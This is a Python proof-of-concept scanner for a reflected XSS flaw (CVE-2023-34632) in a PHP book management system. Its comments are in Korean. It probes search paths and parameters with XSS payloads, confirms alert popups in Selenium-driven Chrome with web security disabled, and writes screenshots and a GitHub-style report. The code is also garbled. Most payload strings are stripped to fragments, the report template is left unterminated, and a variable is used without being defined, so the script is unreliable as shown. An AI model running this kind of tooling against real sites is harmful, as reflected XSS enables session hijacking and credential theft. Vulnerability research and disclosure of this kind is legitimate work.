#!/usr/bin/env python3 """ CVE-2023-34632 PoC Auto-Tester 1000projects Book Management System 1.0 - Reflected XSS via Search Box """ import argparse import json import os import sys import time import urllib.parse from datetime import datetime try: import requests except ImportError: print("[!] requests 모듈이 필요합니다: pip install requests") sys.exit(1) try: from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import ( TimeoutException, UnexpectedAlertPresentException, NoAlertPresentException, NoSuchElementException ) SELENIUM_AVAILABLE = True except ImportError: SELENIUM_AVAILABLE = False print("[!] selenium 모듈이 없습니다. 수동 테스트 모드로 전환합니다.") print(" 설치: pip install selenium webdriver-manager") # ============================================================ # XSS 페이로드 목록 # ============================================================ XSS_PAYLOADS = [ # 기본 script 태그 { "name": "Basic script alert", "payload": '">', "detect": "alert" }, # img onerror { "name": "IMG onerror", "payload": '">', "detect": "alert" }, # svg onload { "name": "SVG onload", "payload": '">', "detect": "alert" }, # 작은따옴표 탈출 { "name": "Single quote escape", "payload": "'-alert('CVE-2023-34632')-'", "detect": "alert" }, # event handler { "name": "Body onload", "payload": '">', "detect": "alert" }, # input autofocus onfocus { "name": "Input autofocus", "payload": '">', "detect": "alert" }, # marquee (일부 브라우저) { "name": "Details tag", "payload": '">
', "detect": "alert" }, ] # 검색 기능이 있을 수 있는 경로들 SEARCH_PATHS = [ "/", "/index.php", "/book_list.php", "/search.php", "/books.php", "/admin/", "/admin/index.php", "/admin/book_list.php", ] # 검색 파라미터 후보 SEARCH_PARAMS = ["search", "q", "query", "keyword", "s", "book", "name", "title"] class Colors: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" CYAN = "\033[96m" BOLD = "\033[1m" END = "\033[0m" def banner(): print(f""" {Colors.CYAN}{Colors.BOLD} ╔══════════════════════════════════════════════════╗ ║ CVE-2023-34632 PoC Auto-Tester ║ ║ 1000projects Book Management System 1.0 ║ ║ Reflected XSS via Search Box ║ ║ ║ ║ Discoverer: Wonkyeom Kim ║ ╚══════════════════════════════════════════════════╝ {Colors.END}""") def log_info(msg): print(f" {Colors.BLUE}[*]{Colors.END} {msg}") def log_success(msg): print(f" {Colors.GREEN}[+]{Colors.END} {msg}") def log_warning(msg): print(f" {Colors.YELLOW}[!]{Colors.END} {msg}") def log_fail(msg): print(f" {Colors.RED}[-]{Colors.END} {msg}") def log_vuln(msg): print(f" {Colors.RED}{Colors.BOLD}[VULN]{Colors.END} {Colors.RED}{msg}{Colors.END}") def test_reflected_http(base_url): """HTTP 응답에서 페이로드가 그대로 반사되는지 확인""" print(f"\n{Colors.BOLD}[Phase 1] HTTP 반사 테스트{Colors.END}") print("=" * 50) results = [] marker = 'CVE2023TEST' + str(int(time.time()) % 10000) # 1. 접속 가능 여부 확인 log_info(f"대상 URL 접속 확인: {base_url}") try: r = requests.get(base_url, timeout=10, allow_redirects=True) log_success(f"접속 성공 (HTTP {r.status_code})") except Exception as e: log_fail(f"접속 실패: {e}") log_warning("XAMPP/WAMP가 실행 중인지, 경로가 맞는지 확인하세요.") return results # 2. 검색 폼 자동 탐색 log_info("검색 기능 탐색 중...") found_search = [] for path in SEARCH_PATHS: url = base_url.rstrip("/") + path try: r = requests.get(url, timeout=5) if r.status_code == 200: html_lower = r.text.lower() # 검색 폼이 있는지 확인 if any(kw in html_lower for kw in ['type="search"', 'name="search"', 'id="search"', 'placeholder="search', 'action="search', 'name="q"', 'name="query"', 'name="keyword"', '검색', 'search']): found_search.append(path) log_success(f"검색 폼 발견: {path}") except: pass if not found_search: log_warning("자동 탐색으로 검색 폼을 찾지 못했습니다.") log_info("모든 경로 + 파라미터 조합을 테스트합니다...") found_search = SEARCH_PATHS # 3. 반사 테스트 log_info("XSS 반사 테스트 시작...") vuln_count = 0 for path in found_search: for param in SEARCH_PARAMS: test_url = base_url.rstrip("/") + path test_payload = f'"{marker}<>' # GET 파라미터 try: r = requests.get(test_url, params={param: test_payload}, timeout=5) if marker in r.text and '<>' in r.text: log_vuln(f"반사 확인! GET {path}?{param}= → HTML 태그 필터링 없음") # 실제 XSS 페이로드 테스트 for xss in XSS_PAYLOADS: r2 = requests.get(test_url, params={param: xss["payload"]}, timeout=5) if xss["payload"] in r2.text or 'alert(' in r2.text: log_vuln(f" XSS 성공: [{xss['name']}]") full_url = f"{test_url}?{param}={urllib.parse.quote(xss['payload'])}" results.append({ "method": "GET", "path": path, "param": param, "payload_name": xss["name"], "payload": xss["payload"], "full_url": full_url, "reflected": True, "response_snippet": r2.text[ max(0, r2.text.find(xss["payload"][:20]) - 50): r2.text.find(xss["payload"][:20]) + len(xss["payload"]) + 50 ] if xss["payload"][:20] in r2.text else "" }) vuln_count += 1 except: pass # POST 파라미터 try: r = requests.post(test_url, data={param: test_payload}, timeout=5) if marker in r.text and '<>' in r.text: log_vuln(f"반사 확인! POST {path} [{param}] → HTML 태그 필터링 없음") for xss in XSS_PAYLOADS: r2 = requests.post(test_url, data={param: xss["payload"]}, timeout=5) if xss["payload"] in r2.text or 'alert(' in r2.text: log_vuln(f" XSS 성공: [{xss['name']}]") results.append({ "method": "POST", "path": path, "param": param, "payload_name": xss["name"], "payload": xss["payload"], "full_url": test_url, "reflected": True, }) vuln_count += 1 except: pass if vuln_count > 0: log_success(f"\n총 {vuln_count}개 XSS 벡터 발견!") else: log_warning("HTTP 반사 테스트에서 직접적인 XSS를 찾지 못했습니다.") log_info("Phase 2(브라우저 테스트)에서 추가 확인합니다.") return results # ============================================================ # Phase 2: Selenium 브라우저 기반 테스트 (alert 확인 + 스크린샷) # ============================================================ def test_browser_xss(base_url, results, output_dir): """Selenium으로 실제 브라우저에서 XSS 트리거 + 스크린샷""" if not SELENIUM_AVAILABLE: log_warning("Selenium이 설치되지 않아 브라우저 테스트를 건너뜁니다.") return results print(f"\n{Colors.BOLD}[Phase 2] 브라우저 XSS 테스트 + 스크린샷{Colors.END}") print("=" * 50) # Chrome 설정 chrome_options = Options() # chrome_options.add_argument("--headless") # 스크린샷용이므로 headless 비활성화 chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--window-size=1366,768") chrome_options.add_argument("--disable-web-security") try: # webdriver-manager 사용 시도 try: from webdriver_manager.chrome import ChromeDriverManager service = Service(ChromeDriverManager().install()) driver = webdriver.Chrome(service=service, options=chrome_options) except ImportError: driver = webdriver.Chrome(options=chrome_options) log_success("Chrome 브라우저 시작됨") except Exception as e: log_fail(f"Chrome 시작 실패: {e}") log_info("ChromeDriver가 설치되어 있는지 확인하세요.") log_info("설치: pip install webdriver-manager") return results screenshot_count = 0 # Phase 1에서 찾은 벡터 재검증 if results: log_info(f"Phase 1에서 발견된 {len(results)}개 벡터 브라우저 검증...") for i, res in enumerate(results): if res["method"] == "GET": try: driver.get(res["full_url"]) time.sleep(1) # alert 확인 try: alert = driver.switch_to.alert alert_text = alert.text log_vuln(f"ALERT 팝업 확인! → '{alert_text}'") # alert 뜬 상태로 스크린샷 ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_alert.png") driver.save_screenshot(ss_path) log_success(f"스크린샷 저장: {ss_path}") screenshot_count += 1 results[i]["alert_triggered"] = True results[i]["alert_text"] = alert_text results[i]["screenshot"] = ss_path alert.accept() time.sleep(0.5) except NoAlertPresentException: # alert 없지만 DOM에 주입됐을 수 있음 ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_reflected.png") driver.save_screenshot(ss_path) results[i]["alert_triggered"] = False results[i]["screenshot"] = ss_path screenshot_count += 1 except UnexpectedAlertPresentException: # alert가 페이지 로드 중에 바로 뜸 ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_immediate.png") driver.save_screenshot(ss_path) log_vuln(f"즉시 ALERT 트리거! 스크린샷: {ss_path}") screenshot_count += 1 results[i]["alert_triggered"] = True results[i]["screenshot"] = ss_path try: driver.switch_to.alert.accept() except: pass except Exception as e: log_warning(f"테스트 중 오류: {e}") # Phase 1에서 못 찾았으면 브라우저로 폼 직접 탐색 if not results: log_info("폼 직접 탐색 시작...") for path in SEARCH_PATHS: url = base_url.rstrip("/") + path try: driver.get(url) time.sleep(1) # 검색 input 필드 탐색 search_inputs = [] for selector in [ 'input[type="search"]', 'input[name="search"]', 'input[name="q"]', 'input[name="query"]', 'input[name="keyword"]', 'input[placeholder*="search" i]', 'input[placeholder*="Search" i]', 'input[placeholder*="검색"]', ]: try: elements = driver.find_elements(By.CSS_SELECTOR, selector) search_inputs.extend(elements) except: pass # 일반 text input도 시도 if not search_inputs: try: search_inputs = driver.find_elements(By.CSS_SELECTOR, 'input[type="text"]') except: pass for inp in search_inputs: try: inp.clear() payload = '">' inp.send_keys(payload) inp.send_keys(Keys.RETURN) time.sleep(2) try: alert = driver.switch_to.alert alert_text = alert.text log_vuln(f"XSS ALERT 발견! 경로: {path}, 텍스트: '{alert_text}'") ss_path = os.path.join(output_dir, f"poc_browser_xss_{screenshot_count+1}.png") driver.save_screenshot(ss_path) log_success(f"스크린샷: {ss_path}") screenshot_count += 1 results.append({ "method": "BROWSER", "path": path, "payload": payload, "payload_name": "Basic script alert", "alert_triggered": True, "alert_text": alert_text, "screenshot": ss_path, }) alert.accept() except NoAlertPresentException: pass except Exception as e: pass except Exception as e: pass # 정리 스크린샷: 메인 페이지 try: driver.get(base_url) time.sleep(1) ss_path = os.path.join(output_dir, "poc_main_page.png") driver.save_screenshot(ss_path) log_info(f"메인 페이지 스크린샷: {ss_path}") except: pass driver.quit() log_info(f"총 {screenshot_count}개 스크린샷 캡처됨") return results # ============================================================ # Phase 3: PoC 리포트 생성 # ============================================================ def generate_report(base_url, results, output_dir): """GitHub에 올릴 수 있는 README.md와 JSON 리포트 생성""" print(f"\n{Colors.BOLD}[Phase 3] PoC 리포트 생성{Colors.END}") print("=" * 50) timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # JSON 리포트 report_json = { "cve_id": "CVE-2023-34632", "product": "1000projects Book Management System 1.0", "vulnerability_type": "Reflected Cross-Site Scripting (XSS)", "cwe": "CWE-79", "cvss_v3": "6.1 (Medium) - AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "discoverer": "Wonkyeom Kim", "test_date": timestamp, "target_url": base_url, "findings": results, "total_vectors": len(results), } json_path = os.path.join(output_dir, "poc_report.json") with open(json_path, "w", encoding="utf-8") as f: json.dump(report_json, f, indent=2, ensure_ascii=False) log_success(f"JSON 리포트: {json_path}") # README.md (GitHub용) readme = f"""# CVE-2023-34632 ## Reflected Cross-Site Scripting (XSS) in 1000projects Book Management System 1.0 ### Description A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in 1000projects Book Management System version 1.0. The vulnerability exists in the search functionality, where user-supplied input is reflected in the response without proper sanitization or output encoding. An attacker can craft a malicious URL containing JavaScript code. When a victim clicks the link, the script executes in the context of the victim's browser session, potentially leading to session hijacking, credential theft, or phishing attacks. ### Affected Product | Item | Detail | |------|--------| | **Vendor** | [1000projects](https://1000projects.org/) | | **Product** | Book Management System | | **Version** | 1.0 | | **Technology** | PHP / MySQL | ### Vulnerability Details | Item | Detail | |------|--------| | **Type** | CWE-79 (Improper Neutralization of Input During Web Page Generation) | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | None | | **User Interaction** | Required (victim clicks crafted URL) | | **CVSS 3.1 Score** | 6.1 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | ### Proof of Concept **Test Date:** {timestamp} """ if results: readme += f"**{len(results)} XSS vector(s) confirmed:**\n\n" for i, res in enumerate(results): readme += f"#### Vector {i+1}: {res.get('payload_name', 'Unknown')}\n\n" readme += f"- **Method:** {res.get('method', 'N/A')}\n" readme += f"- **Path:** `{res.get('path', 'N/A')}`\n" if res.get("param"): readme += f"- **Parameter:** `{res['param']}`\n" readme += f"- **Payload:** `{res.get('payload', 'N/A')}`\n" if res.get("full_url"): readme += f"- **Full URL:** `{res['full_url']}`\n" if res.get("alert_triggered"): readme += f"- **Alert Triggered:** ✅ Yes (`{res.get('alert_text', '')}`)\n" if res.get("screenshot"): ss_name = os.path.basename(res["screenshot"]) readme += f"- **Screenshot:** ![PoC]({ss_name})\n" readme += "\n" else: readme += """**Manual Reproduction Steps:** """ readme += """### Root Cause The search parameter is directly embedded into the HTML response without sanitization. The PHP code does not use `htmlspecialchars()` or equivalent output encoding before rendering user input. **Vulnerable Code Pattern:** readme_path = os.path.join(output_dir, "README.md") with open(readme_path, "w", encoding="utf-8") as f: f.write(readme) log_success(f"GitHub README.md: {readme_path}") mitre_path = os.path.join(output_dir, "MITRE_notification_email.txt") with open(mitre_path, "w", encoding="utf-8") as f: f.write(mitre_email) log_success(f"MITRE 통보 메일: {mitre_path}") return readme_path, json_path, mitre_path # ============================================================ # Main # ============================================================ def main(): banner() parser = argparse.ArgumentParser(description="CVE-2023-34632 PoC Auto-Tester") parser.add_argument("--url", "-u", default="http://localhost/book-management/", help="대상 URL (기본: http://localhost/book-management/)") parser.add_argument("--output", "-o", default="./CVE-2023-34632_PoC", help="결과 저장 디렉토리 (기본: ./CVE-2023-34632_PoC)") parser.add_argument("--no-browser", action="store_true", help="브라우저 테스트 건너뛰기 (HTTP만 테스트)") args = parser.parse_args() base_url = args.url.rstrip("/") + "/" output_dir = args.output os.makedirs(output_dir, exist_ok=True) log_info(f"대상: {base_url}") log_info(f"결과 저장: {output_dir}") # Phase 1: HTTP 반사 테스트 results = test_reflected_http(base_url) # Phase 2: 브라우저 테스트 if not args.no_browser and SELENIUM_AVAILABLE: results = test_browser_xss(base_url, results, output_dir) elif not SELENIUM_AVAILABLE: log_warning("Selenium 미설치 → 브라우저 테스트 건너뜀") log_info("설치 후 재실행: pip install selenium webdriver-manager") # Phase 3: 리포트 생성 readme_path, json_path, mitre_path = generate_report(base_url, results, output_dir) # 최종 요약 print(f"\n{'=' * 50}") print(f"{Colors.BOLD}[최종 요약]{Colors.END}") print(f"{'=' * 50}") if results: print(f" {Colors.GREEN}✅ {len(results)}개 XSS 벡터 확인됨{Colors.END}") else: print(f" {Colors.YELLOW}⚠️ 자동 탐지 실패 — 수동 확인 필요{Colors.END}") """) if __name__ == "__main__": main()